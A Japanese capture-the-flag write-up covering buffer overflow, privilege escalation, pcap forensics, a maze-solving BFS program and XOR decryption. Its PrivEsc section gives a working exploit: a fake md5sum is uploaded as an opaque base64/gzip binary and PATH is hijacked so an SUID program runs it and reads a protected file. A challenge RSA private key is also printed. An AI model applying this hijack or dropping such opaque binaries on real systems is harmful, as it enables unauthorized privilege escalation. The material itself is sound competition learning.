以下のddでflagを含みそうな部分を取り出した。

dd if=service bs=1 skip=651264 count=256

その結果、flagが得られた。

CYBERTF{B@sic_Buff3r_Ov3rflow}

Bof_1 Get Shell

以下の問題文が与えられた。

Nice You success to read the flag. But now we need to get shell.

問題 Bof_1 と同様にシェルを起動して調査した結果、/home/ctfflag.txtがあり、
これを読むことでflagが得られた。

cd /home
ls -l
total 8
dr-xr-xr-x 1 root        root        4096 Jun 29 13:05 ctf
dr-xr-xr-x 1 ctf_cracked ctf_cracked 4096 Jun 29 13:05 ctf_cracked
cd ctf
pwd
/home/ctf
ls -l
total 4
-r--r--r-- 1 root root 24 Jun 29 11:24 flag.txt
cat flag.txt
CYBERTF{B@sic_R0PChain}
CYBERTF{B@sic_R0PChain}

Bof_1 PrivEsc

以下の問題文が与えられた。

Require Bof_1 Get Shell Great ! Our secret service has informed us that a secret file is present on the machine.

問題 Bof_1 と同様にシェルを起動して調査した結果、/home/ctf_crackedflag.txtがあるが、
普通には読めないパーミッションになっていることがわかった。

cd /home
ls -l
total 8
dr-xr-xr-x 1 root        root        4096 Jun 29 13:05 ctf
dr-xr-xr-x 1 ctf_cracked ctf_cracked 4096 Jun 29 13:05 ctf_cracked
cd ctf_cracked
ls -l
total 4
-r-------- 1 ctf_cracked ctf_cracked 39 Jun 29 11:24 flag.txt
cat flag.txt
cat: flag.txt: Permission denied

調査を進めた結果、/bin

-r-sr-xr-x 1 ctf_cracked ctf_cracked   16400 Jun 29 13:04 check

という怪しいファイルがあることがわかったので、base64コマンドを利用してこのファイルをダウンロードした。
これはELFファイルだったので、TDM-GCCのobjdumpで逆アセンブルして調査した。
その結果、popen関数を用いてコマンドmd5sum /home/ctf_cracked/flag.txtを実行していることがわかった。
また、このファイルにはSUIDが設定されており、ユーザctf_crackedとして実行されるはずである。

これを活用するため、以下のプログラムを作成し、CS50 IDEでコンパイルした。
これは、引数で指定されたファイルを/tmp/out.txtにコピーするプログラムである。

copy.c
#include <stdio.h>

int main(int argc, char* argv[]) {
    FILE* fp = argc < 2 ? stdin : fopen(argv[1], "r");
    FILE* fpout = fopen("/tmp/out.txt", "w");
    int c;
    if (fp == NULL || fpout == NULL) {
        if (fp) fclose(fp);
        if (fpout) fclose(fpout);
        return 1;
    }
    while ((c = getc(fp)) != EOF) fputc(c, fpout);
    fclose(fp);
    fclose(fpout);
    return 0;
}

コンパイル結果のバイナリをCyberChefで Gzip → To Base64 し、
base64コマンドとgunzipコマンドを用いてサーバにmd5sumファイルとして置いた。
さらに、環境変数PATHの先頭にこのmd5sumファイルを置いたディレクトリを加え、checkコマンドを実行した。
すると/tmp/out.txtが生成され、これを読むことでflagが得られた。

cd /tmp
mkdir work
cd /tmp/work
echo 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 | base64 -d > md5sum.gz
gunzip md5sum.gz
ls -l
total 20
-rw-r--r-- 1 ctf ctf 16872 Jul  4 17:52 md5sum
chmod a+x md5sum
export PATH=/tmp/work:$PATH
check
Contact Administrator
cat /tmp/out.txt
CYBERTF{B@sic_PrivEsc_(Anti_Gu3ssing)}
ls -l /tmp/out.txt
-rw-r--r-- 1 ctf_cracked ctf 39 Jul  4 17:53 /tmp/out.txt
CYBERTF{B@sic_PrivEsc_(Anti_Gu3ssing)}

Network

YZY

ファイルcapture.pcapngが与えられた。

Wiresharkで開くと、最後の方に「HTTP/1.1 200 OK (PNG)」という行があったので、
これに対し「追跡 → HTTPストリーム」を行った。
すると、HTTPリクエストGET /flag.png HTTP/1.1に対し、PNGデータを返している様子が見られた。
表示を「16進数ダンプ形式」に切り替えてデータをCyberChefにコピペし、
Fron Hexdump → Extract Files をすることで、PNGファイルのデータを得ることができた。
このPNGファイルは、flagが書かれた画像データだった。

CYBERTF{NETWORK_IS_YZY}

The Mole

ファイルcapture1.pcapngおよびcapture2.pcapngが与えられた。

capture1.pcapngをWiresharkで開き、適当な行で「追跡 → TCPストリーム」をすると、以下のテキストが得られた。

capture1.pcapngから得られたテキスト
$whoami
garizov
$ls -lah
drwxr-xr-x 1 garizov garizov  512 May 16 16:39 garizov.inf
drwxr-xr-x 1 garizov garizov  1   May 16 16:39 confidential.txt
drwxr-xr-x 1 garizov garizov  1   May 16 16:39 attack_planning.txt
drwxr-xr-x 1 garizov garizov  1   May 16 16:39 attack_plan.txt
drwxr-xr-x 1 garizov garizov  512 Jun 13  2020 .comm_cert
$cat .comm_cert
-----BEGIN RSA PRIVATE KEY-----
MIIBOQIBAAJAdA6LYrTnWaPJ5DSg03uaDH3biN4jfnH1mEqFuZILfHov4/SEdEqu
Gj5/gJ3ypGTbgWUFe9VQGY0LnXN3j6773wIDAQABAkBui0wJAPc8Ut6DF/34cssR
CvCJNc3pKvMb1B/72jhGn24mgbyHyNdxK7xaY0ultnQ/3hmFuT0i/UWXdfGlOTEB
AiEAzqTk8qn/OZ9dfGOUd27JZJxucxvyB9TlY9xH5mMxS1ECIQCPxsE2N5avydWj
UnMhecYCGuwqfTTt7kMH9fGO5aWoLwIgf/2CEQtaGcarkK/c9VyZQMfjYUid0Fv8
+K0nm3s0vQECIFt+Rqvi2hCJp1skd8GAxaHHUiyDuvACZEOnng2qVC3fAiEAkjsZ
bWWZnzPMxFCUq54kXCyqHom1XRAKClNFchnNORA=
-----END RSA PRIVATE KEY-----
$cat garizov.inf
This is an alert. The cyberthreatforce has succeeded in breaking into our system.
Don't let any traces.

Garizov
$cat confidential.txt

$cat attack_planning.txt

$cat attack_plan.txt

$who
agent    tty1         2021-06-06 14:15  old         2225 (:1)
garizov  tty2         2021-06-06 16:15  old         2230 (:1)
$ls /home
Connection Lost

同様に、capture2.pcapngからは以下のテキストが得られた。

capture2.pcapngから得られたテキスト
CPrYwDhZMg+jxAWhK3Tu2LCzDPKteChdeXkO72T7BHhpPRtqbXHEcyvmhsmsPyHDjhflEV/BQwD42kYeO9EkfQ==
BfwWKiRIDj5VzWRYck6NUQdF52thWaeLwAdwHXvM/vVd5tZGF0YVWslOr9u/CyZQd3N552Mxtp4o9CaBaD657Q==
YuqH7THelhN0rNwYmBak+bZv20sqTX10O1Kmpc6ncmt91kYm1jxLLsQa157IBqbaSRI205D0/2LLPnoAkgCMGg==
LBKjeMcgIYaQx5cUX9JBQTab6bqFTP7dzTcRMcAy6jle64Q22Zr+JbwwJTvWlhZKT82pbGU/Ux/o2+L5bghhSA==
WHYuGXboak1lY2lKXsrjrurvNcsdbCebk8ebUc4e3eBuoAxlOoHfheYHzKfiC4bibBUmS+YLn5eA/kg/OWkh5w==
DPTFnoyKxcMl4DsfNlKL49msE8Sp7hgbIP1v9P3fe071BEMAl2VgxqCez2R2XvCZo7u8VAJFFmNNTfiO+MJdMw==

capture1.pcapngから得られたテキストのうち、
-----BEGIN RSA PRIVATE KEY----------END RSA PRIVATE KEY-----の間の部分に対し、
CyberChefで From Base64 → To Hex → Parse ASN.1 hex string をかけると、以下の結果が得られた。

SEQUENCE
  INTEGER 00..(total 1bytes)..00
  INTEGER 740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf..(total 64bytes)..740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf
  INTEGER 010001..(total 3bytes)..010001
  INTEGER 6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101..(total 64bytes)..6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101
  INTEGER 00cea4e4f2a9ff399f5d7c6394776ec9649c6e731bf207d4e563dc47e663314b51..(total 33bytes)..00cea4e4f2a9ff399f5d7c6394776ec9649c6e731bf207d4e563dc47e663314b51
  INTEGER 008fc6c1363796afc9d5a352732179c6021aec2a7d34edee4307f5f18ee5a5a82f..(total 33bytes)..008fc6c1363796afc9d5a352732179c6021aec2a7d34edee4307f5f18ee5a5a82f
  INTEGER 7ffd82110b5a19c6ab90afdcf55c9940c7e361489dd05bfcf8ad279b7b34bd01..(total 32bytes)..7ffd82110b5a19c6ab90afdcf55c9940c7e361489dd05bfcf8ad279b7b34bd01
  INTEGER 5b7e46abe2da1089a75b2477c180c5a1c7522c83baf0026443a79e0daa542ddf..(total 32bytes)..5b7e46abe2da1089a75b2477c180c5a1c7522c83baf0026443a79e0daa542ddf
  INTEGER 00923b196d65999f33ccc45094ab9e245c2caa1e89b55d100a0a53457219cd3910..(total 33bytes)..00923b196d65999f33ccc45094ab9e245c2caa1e89b55d100a0a53457219cd3910

RSA 秘密鍵/公開鍵ファイルのフォーマット - bearmini's blog
を参考にすると、以下のRSA暗号のパラメータが得られた。

n = 0x740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf
e = 0x010001
d = 0x6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101

また、capture2.pcapngから得られたテキストをCypherChefで処理すると、以下のデータが得られた。

v1 = 0x08fad8c03859320fa3c405a12b74eed8b0b30cf2ad78285d79790eef64fb0478693d1b6a6d71c4732be686c9ac3f21c38e17e5115fc14300f8da461e3bd1247d
v2 = 0x05fc162a24480e3e55cd6458724e8d510745e76b6159a78bc007701d7bccfef55de6d6461746155ac94eafdbbf0b2650777379e76331b69e28f42681683eb9ed
v3 = 0x62ea87ed31de961374acdc189816a4f9b66fdb4b2a4d7d743b52a6a5cea7726b7dd64626d63c4b2ec41ad79ec806a6da491236d390f4ff62cb3e7a0092008c1a
v4 = 0x2c12a378c720218690c797145fd24141369be9ba854cfeddcd371131c032ea395eeb8436d99afe25bc30253bd696164a4fcda96c653f531fe8dbe2f96e086148
v5 = 0x58762e1976e86a4d6563694a5ecae3aeeaef35cb1d6c279b93c79b51ce1edde06ea00c653a81df85e607cca7e20b86e26c15264be60b9f9780fe483f396921e7
v6 = 0x0cf4c59e8c8ac5c325e03b1f36528be3d9ac13c4a9ee181b20fd6ff4fddf7b4ef5044300976560c6a09ecf64765ef099a3bbbc54024516634d4df88ef8c25d33

以下のようにして、Pythonで復号を行った。

vl = [v1, v2, v3, v4, v5, v6]
vd = [pow(v, d, n) for v in vl]
def to_str(n):
  r = ""
  while n > 0:
    r = chr(n & 0xff) + r
    n >>= 8
  return r

vs = [to_str(v) for v in vd]

vsの各要素のうち、最後のテキストとして読める部分は以下のようになった。

Cyberthreatforce is in.
Hurry up we have to kick them out.
Please take this code.
CYBERTF{D3c0d3_TcP_FL0w}
Log out now !
We have to be fast.

flagが得られた。

CYBERTF{D3c0d3_TcP_FL0w}

Exfiltration

.pcapngファイルが5個 (chall_split[1-4]?\.pcapng) 与えられた、

それぞれのファイルにstrings -n 12をかけると、chall_split3.pcapngから大量の16進文字列が出てきた。
そのうちASCII文字を表していそうないくつかにCyberChefのFrom Hexをかけると、PDFファイルの一部のようだった。
これらの16進文字列を集め、同じものが2個ずつあるようなので1個にし、
CyberChefのFrom Hexをかけると、PDFファイルが得られた。
そのPDFファイルにflagが書かれていた。

CYBERTF{Extr@ction_1CMP_W000000000000000000W}

Misc

Return To The School

TCPサーバが用意され、問題文から迷路の最短路を求めることが要求されているとわかった。

サーバにTera Termで接続すると、以下のような出力がされた。

サーバの出力
resolvez le chemain le plus cours
Example:
................................
.A   XX X X   X XXX     XX     .
.AX     X X X   XXXXXXX    XX X.
.AAX   XX    XX XX    X XXXX  X.
.XAXXX  XX X XX     XXXXXXXXX X.
.AAXXXX XXXX XX X XXXXXXX XX   .
.AXX XX      XXXX     X    XXX .
.AXX  X X  XX X   XXX XXX XX   .
.AXAAA XXX XX   XXX       XXX X.
.AAAXAXX   XXXXXXX  XXX   XXX X.
.X XXAAX  XX XXXXXX  XXXX X   X.
.X  XXAXXXX  XX  XXXXX   XXXX X.
.X X  A    X XX XXX    X XXXX X.
.X XX AX  X  X  XXXX X  XXX X X.
.X   XAXXXXX   XX  XXXX  XX   X.
.  XX AA      X X X      XXX   .
.  X  XAXX XXXX X  XXXXXAAA  X .
.XXXXXXAXXXXX X X   XXXAAXAAA  .
.XX  XXAAAAAAAA XXXAAAAA XXXAXX.
.XXX XX X XXXXAAAAAAXXX XX  AAX.
.X      XXXXX    XXXXX  XXXXXAA.
................................
vous devez repondre (ou equivalent)->ENENNEENEESESEEEESEEEEENEEEEEEENNNENNNNNENNEESEENNNNONNENN

a votre tour
............................................................................................
.  XXXXX      XXXXXXXXXXXX  XX XX  XXX   X    X     XXXXXX        X    XXXXXXXXXXXX  XXX   .
.X    XX XXXX     X  XX        XXX   XX X  X XXX X X    XX    XXXXX X      XX   XXXX XX   X.
.X XX  X  XX  XX   X  X XX XXX   X  XX   X XX  X XX  X X   X  XXXXX X XX XXXXX X   X XXXX  .
.   XXXXX XXXXXXX  X    XX  X  X X X   X      XX XXX X    X     X X X  X  X X   X      X  X.
. XXXXX X    XXXXX XX X  XXXXXXXXX X X  X XXX    XX   XXX XXX XXX XXXX  X     X XX XX  X XX.
.   X   X X  XX  X     X XX  X  XX  XXX  XX XXXX XXXXXX     XX X  X XXXXX X X X    XX XX X .
. X  XX    X XXX   X XXX   X XX  XX     XXX X      XXXXXX  XX  X        X X X XXX XXX      .
.XXX    XXXX XX X  X XXX X    X   X  XXX    X XXXX XX  XXX  X  XX XX X   X  XXX   X X X XXX.
.X X X  XXXX X  X X XXXXXX XX    XXX X XXX  XXXX   XX XXX   XX      XX XXX XX  X XX X  XXXX.
.X  XXX X  X X XX X X XXXXXXXXXX   X X XX    X XX XXX XXX  XXXXX X XXX  X  XX    XX XXXX  X.
.X XX X  X   X          X      XXX      XXX      XX    XX   XX    XXX    XXX  XXXXX        .
.X X  XX X XX  XXXXXXXXX X  X X XXX X X     XXXXXXXXXX    X  X  XX XX X X XX  X     X  X X .
.    XXXXX  XX  XXX    X X XX     XXXXX XX      XX XXXXX  XX   X X XX  X  XXX X XX   XX  X .
.XX XXX XXX  X  XXX X    X  XX XX XX  X  X X  XXX  XX  X X XXX X   X    X X   X  X XXXXXXX .
.    X  XXXXX  XXX  XXX XXX XX X       X XXX XXXX XXX        X    X  XX      XXXXX  XXXXXX .
. XX   XX XXXX XXXX XXXXXX  XX X  X XX X XXXXXX   XX  X X XXX X XXX XXX X XX X XXX X XXXX  .
.   XX         XXX     X   X XX      X X    X  X   XX  XX X   XXXX  XXXXX X    XX  X   X  X.
. X XXXXXX X XXX XX XX XXXX  X  X   XX    X X X  X X  XX  X  X   XXXXX XXX  X  XXXXXX XXX  .
.XXX XXX  XX XXX  X XXXXX XX XXX  XX     XX X XX X XX X    X   XXXXXX   XXXXXX XXXX X    X .
.  X      XX X XX   XXXXX  X XX    XXX XXXX X   X   X XX X   XXX  X X XXX  XXX  XXX   X    .
.    X XXXXX X XXXX XX    X   X X   XXXXX   X   XXX   X XX X  XXX   X     XXXX XX X XXX  X .
.XX XX X X X     XX X  XX   XXX XXXX XX X X  X XXX X     XXXX      X X XXXXXX  XX X  X   XX.
.X  XX     X X    X  X X XX XXX XX X    X X     X     XX XX XX X XX  X        XXX   XXXXX X.
.XXXX  XXX   XXX   X     X  X   XX   XX X XXXX  X XX   XXX   XX  XXX XXXXXX XXXXX X  X XX X.
. XXX    X XX XX X  XX XXXX   X    X XXXX  XXXXX    XXXXXX  X XX  XX XXX XX X     XX X    X.
. XXXXX X   X XX X  XXXXX    X XXX  XXXXXXXX XXX X   XX  XX   X X XX X      X XXXXXX XX X  .
.  XXXX XX  X   XX  XXXXX X XX  XXX  X XXXX   X  XX  XX X       X XX XX XX    X XXXX  X XX .
.  XXX XXX X  X X       XX  XX   XXX X   XX X X XXX XX  XXXXXXX   X  X  XX XX   XXXX  X XX .
.X   X X  XX X  X XXXXXXX  XXX X  X    X  XXX XX       XXXXX XX X   XXXXXX  X X XXXX XXXX  .
. XX X   XXXX  X    XXXXX XXX   X XXX   X     XXX X XXX   XX XXXXXX X XXXX   X  XX   X  X X.
. XX XX  XXXX    XX     X     X  X  X XXXXX XXX   XX X  X XX     XX X  XX  X  X XXXXX X   X.
.      X X XX      XXXXXXX  XXXX   XX  XXXX XX  X        XXX XX  XXXXX XX XX X    XXX   XX .
.X XXX      XX   X   XXX  XXX XX  X XX X   XXXXXXX  XXX   XXXXX      X XXXXX  X X    XX  X .
.X X   XX X    X XX X  X   X   XX   X  X X X X XX XXX      XX XX XXX X X     XXXXX X     X .
.X X X  X XX X X  XXXX X XXXX XXX XXXX X X X   XX XXX X X  XX XX  XX   X X X X XX    X     .
. X   X  X X X XX XXXX   XXX   X  XXX XX XXXX     X XX  XX XX  XX X  X   XXXXX XX X XX XX  .
. XX  XX   X  XXX  XXX X   XXX   XXXX  X    X  XX   XX XXX X X     X  X  X XXX    X  XX    .
. XXXXXX X  X XXX    XXX X XXXXXXXX   XXXXX   X XX X    XX   XX  X XXXXXXX   XX XXX XX  X  .
.  XXXXXXX   X    XX  XX  XXX     XX  XX XXX XX XXXXXX X   XXXX XXXXXXX  X X X  XX  XX X  X.
.  XX XXXX X  X XXXXX    XX XXX XXXX XX  XX  X  XXXX X XXX XX XXXXXXX  X X XXXX XX    XXX  .
. X        XXXX    XXX XXX  XXX  X    X XX  XX         XXX    X XX    XX   XXX   XXX XXXXX .
. X   X XX  XXX X  XX X XX XXXXX XX X   XXX X  XXX X X XX  X       XX     XX   X  XX     XX.
. X  XXXX  XX   XXX     X  X         X      XXXXXX  XX X X  XX X X   X  X   X X     XXX   X.
.    X  XXXX  XXXXXX   XX XXX XXX XX  XXX XXXXXXXX XXX X  XXX  XXXXXXXX X X  XXXXXX X  X   .
.  XXXX XXXXX   XX XXX         XX  XXXXXX  X XX XX XX  XX XX  XXXX   XX  XX XX  XXXXXX   X .
. XX XX XXX    XX   X XXXXXXX XX X XXX     X       XXX XX XX X     XXX  XX X XX   X     XX .
.  X XX X   XX XX X X XX X        XX  XX XXXX X  X  X     XX XXXX XX   XXX      X   X X XXX.
. X  X    XX XXXXXX   XX   XXX XXXXXX XX       X XXX  XX   X  XX   X XX    XX X  X   XX   X.
.X  XX XXX X XXXXX X XX X  XXX XXX    XX  X XXX    X XXXXX  XXXXX  XX   XX  XXX XX X  XXX X.
. X X  XXX    X  X X    X XXXXXXX  X  X X  XXX  XX  X     XX X     X X  XX XXXX XXX   XXXX .
.   X       X XX   XXX        X   XXX     XXXXXXXX XX X XXX    XX    XX XX   XX XXXXX   X  .
. X X X XXX X XX X XX  XXXXXX X  X XXX X  XXX       X XXX   X  X   X  XX XX X X   XXXXX   X.
. X   XX    X XX  X     XXX    X     XXX XX XXX XXX    X  XXX  X   X  XX       X    X   XXX.
.X   XXX XX  XXXX  XX X  X  XXXXXXX XXXX    XXXXXXXXX XXXXXXX X  XXXX  X XXXXX  XXX XXX XXX.
.  XX XXXXX XX   X   X  X       X X    XX  XXX   X      XXX   X  XXXXX   XXX   X XXXXXX X  .
.X     XXXX X     X  X X  X X XX   XXX XX XXX  X  XXXXX X   XXX  X XXXXX  X  X    XX       .
.   XX XX   XX XXXX     XX   X      XXX     X   X XXXXXX  X   XXXX     X   X XX  XXXX X XX .
.XX X  XXX X      X XXX XXXX XXXX   X X XXX   X  XXX  X     X  XX  XXX   X X XX    XXXX  X .
. X XX X     XX X X  XX    X  XXX X      X  X XX X   XXXX X XX  XXXXXXXXX  XX   X X  XX XXX.
.    XX   XXX   X    XXXX XXX   X XXX XXXXXXXXX  XXX      X XXX XXX         XX XX   X      .
............................................................................................

Exampleから、

  • .Xのマスを通らないように右下から左上へ行く経路を求める
  • 左に行くことをE、右に行くことをO、上に行くことをN、右に行くことをSで表す

ことが読み取れた。
右を表すのがWではなくOである上、これはExampleに1個しか出てこなくて見落としやすいという罠があるものの、
競技プログラミングの典型問題だろう。

幅優先探索を実装した。

最短路を求めるプログラム
solve.cpp
#include <iostream>
#include <vector>
#include <string>
#include <queue>

const int d[4][2] = {
    {1, 0}, {-1, 0}, {0, 1}, {0, -1}
};
const char d_name[] = "SNOE";

struct status {
    int y, x;
    status(int y_ = 0, int x_ = 0) : y(y_), x(x_) {}
};

int main(void) {
    std::vector<std::string> map;
    const std::string key = "a votre tour";
    std::string line;
    bool reading = false;
    while (std::getline(std::cin, line)) {
        if (reading) {
            if (!line.empty()) {
                map.push_back(line);
            }
        } else if (line == key) {
            reading = true;
        }
    }
    std::vector<std::vector<int> > dir;
    for (size_t i = 0; i < map.size(); i++) {
        dir.push_back(std::vector<int>(map[i].size()));
    }
    std::queue<status> q;
    q.push(status(map.size() - 2, map[map.size() - 2].size() - 2));
    dir[map.size() - 2][map[map.size() - 2].size() - 2] = 5;
    while (!q.empty()) {
        status s = q.front();
        q.pop();
        for (int i = 0; i < 4; i++) {
            int ny = s.y + d[i][0], nx = s.x + d[i][1];
            if(map[ny][nx] == ' ' && dir[ny][nx] == 0) {
                dir[ny][nx] = i + 1;
                q.push(status(ny, nx));
            }
        }
    }
    std::string res = "";
    for (int y = 1, x = 1; 1 <= dir[y][x] && dir[y][x] <= 4;) {
        int cur_dir = dir[y][x] - 1;
        res = d_name[cur_dir] + res;
        y -= d[cur_dir][0];
        x -= d[cur_dir][1];
    }
    std::cout << res << '\n';
    return 0;
}

このプログラムで最短路を求めて送信すると、

Vous avez mis plus de 10s

と出力された。どうやら10秒以内に結果を返さないといけないようだ。

  • サーバから送られる入力データを貼り付けるファイルを、あらかじめテキストエディタで開いておく
  • あらかじめ端末にコマンドを入力し、入力データの保存後Enterキーを押すだけで最短路を求められるようにする

という工夫をすることで、時間内に結果を返すことができ、flagを得ることができた。

CYBERTF{M@ze_Mast3r}

Forensic

Usb Key Cemetery

auth.jsonと、暗号化されたsyslog fileのsyslog.encが与えられた。
また、問題文より

the logs starts on June 7th 22:53:25 Flag format: CYBERTF{Serial Number of the usb rubber ducky}

という情報が得られた。

まずsyslogの出力形式を調べた。
【再入門】syslogとは?ログの管理と転送方法についてわかりやすく解説します! | カゴヤのサーバー研究室
より、Aug 10 19:30:19のような形で日時が入ることが分かった。
問題文に書かれている日時をこの形に整形すると、Jun 7 22:53:25となる。

CyberChefでsyslog.encを入力とし、この整形した日時をKey (UTF-8)としてXORをすると、
先頭部分にWE ARE APT403WEJ_]と出てきた。
これを参考に、KeyをWE ARE APT403 (UTF-8)としてsyslog.encにXORをすると、syslogのデータが得られた。

